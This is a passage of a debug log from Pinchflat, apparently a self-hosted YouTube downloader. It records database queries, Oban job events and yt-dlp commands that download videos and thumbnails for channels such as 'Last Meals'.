"settings" AS s0 LIMIT 1 [] 22:04:54.708 [debug] QUERY OK source="settings" db=0.0ms idle=1646.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:54.708 [debug] QUERY OK source="settings" db=0.0ms idle=1646.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:54.709 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/62/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/af/ae/afaeba0c76f22d78d40824825c54660b71ff5c60078b280f559c478511fcf679.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:04:57.331 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/62/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/af/ae/afaeba0c76f22d78d40824825c54660b71ff5c60078b280f559c478511fcf679.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:04:57.331 [debug] QUERY OK db=0.0ms idle=1269.2ms begin [] 22:04:57.332 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:04:54Z], "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", ~U[2026-03-28 02:04:57Z], 62] 22:04:57.332 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/62/metadata.json.gz", "/config/metadata/media_items/62/thumbnail.jpg", 62, ~U[2026-03-28 02:04:57Z], ~U[2026-03-28 02:04:57Z]] 22:04:57.332 [debug] QUERY OK db=0.0ms commit [] 22:04:57.333 [debug] QUERY OK source="media_items" db=0.5ms idle=1270.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [354623473, ~U[2026-03-28 02:04:57Z], 62] 22:04:57.333 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:04:57.333 [info] {"args":{"id":62},"id":67,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":122115863,"event":"job:stop","queue_time":4463217423,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:04:57.334 [debug] QUERY OK source="tasks" db=0.2ms idle=271.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:04:57.334 [debug] QUERY OK source="tasks" db=0.3ms idle=205.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:04:57.334 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [63] 22:04:57.334 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [63] 22:04:57.339 [info] {"args":{"id":64},"id":69,"meta":{},"system_time":1774663497339619315,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:04:57.340 [debug] QUERY OK source="media_items" db=0.3ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 22:04:57.340 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:04:57.340 [debug] QUERY OK source="tasks" db=0.3ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:04:57.340 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:04:57.340 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:04:57.340 [debug] QUERY OK source="media_items" db=0.3ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [63, 64] 22:04:57.340 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [63, 64] 22:04:57.340 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:04:57.340 [debug] QUERY OK source="media_items" db=0.0ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [64] 22:04:57.341 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [64] 22:04:57.341 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:04:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:57.341 [debug] Running yt-dlp command for action: get_downloadable_status 22:04:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:04:57.341 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/85/58/8558645a97483262a6408d007b585244dfbeee88a5a117e954345562884ad502.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:04:58.824 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.366 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/85/58/8558645a97483262a6408d007b585244dfbeee88a5a117e954345562884ad502.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:05:00.367 [debug] Running yt-dlp command for action: download 22:05:00.367 [debug] QUERY OK source="settings" db=0.3ms idle=1304.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:00.367 [debug] QUERY OK source="settings" db=0.0ms idle=1305.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:00.367 [debug] QUERY OK source="settings" db=0.1ms idle=1236.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:00.368 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/07/7e/077e67894690eecf3d283eae6a1d61099550acb44a788df829cbc7577f64338d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:05:00.642 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:28.826 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:32.869 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/27/c9/27c9dd69f3183f112936d04551ecb6f577333dfb677e67c0514ff00722ebfc2f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:05:32.879 [debug] Running yt-dlp command for action: download_thumbnail 22:05:32.879 [debug] QUERY OK source="settings" db=0.2ms idle=816.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:32.880 [debug] QUERY OK source="settings" db=0.2ms idle=817.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:32.880 [debug] QUERY OK source="settings" db=0.0ms idle=817.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:32.880 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/63/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3a/fb/3afb66ec75e325b9d84f111487011278ed71e3731ae5bed9a2c1a2924bce36d3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:05:35.609 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/63/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3a/fb/3afb66ec75e325b9d84f111487011278ed71e3731ae5bed9a2c1a2924bce36d3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:05:35.609 [debug] QUERY OK db=0.0ms idle=1547.0ms begin [] 22:05:35.610 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:05:32Z], "/downloads/Last Meals/2023-07-25 Post Malone Eats His Last Meal/Post Malone Eats His Last Meal [ciktYlmFbfc].mp4", ~U[2026-03-28 02:05:35Z], 63] 22:05:35.610 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/63/metadata.json.gz", "/config/metadata/media_items/63/thumbnail.jpg", 63, ~U[2026-03-28 02:05:35Z], ~U[2026-03-28 02:05:35Z]] 22:05:35.610 [debug] QUERY OK db=0.0ms commit [] 22:05:35.612 [debug] QUERY OK source="media_items" db=0.6ms idle=1549.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [351413951, ~U[2026-03-28 02:05:35Z], 63] 22:05:35.612 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:05:35.612 [info] {"args":{"id":63},"id":68,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":118297066,"event":"job:stop","queue_time":4504315392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:05:35.613 [debug] QUERY OK source="tasks" db=0.2ms idle=1425.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:05:35.613 [debug] QUERY OK source="tasks" db=0.2ms idle=423.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:05:35.613 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 22:05:35.613 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 22:05:35.618 [info] {"args":{"id":65},"id":70,"meta":{},"system_time":1774663535618758066,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:05:35.619 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [65] 22:05:35.619 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:05:35.619 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:05:35.619 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:05:35.619 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:05:35.620 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:05:35.620 [debug] QUERY OK source="media_items" db=0.4ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 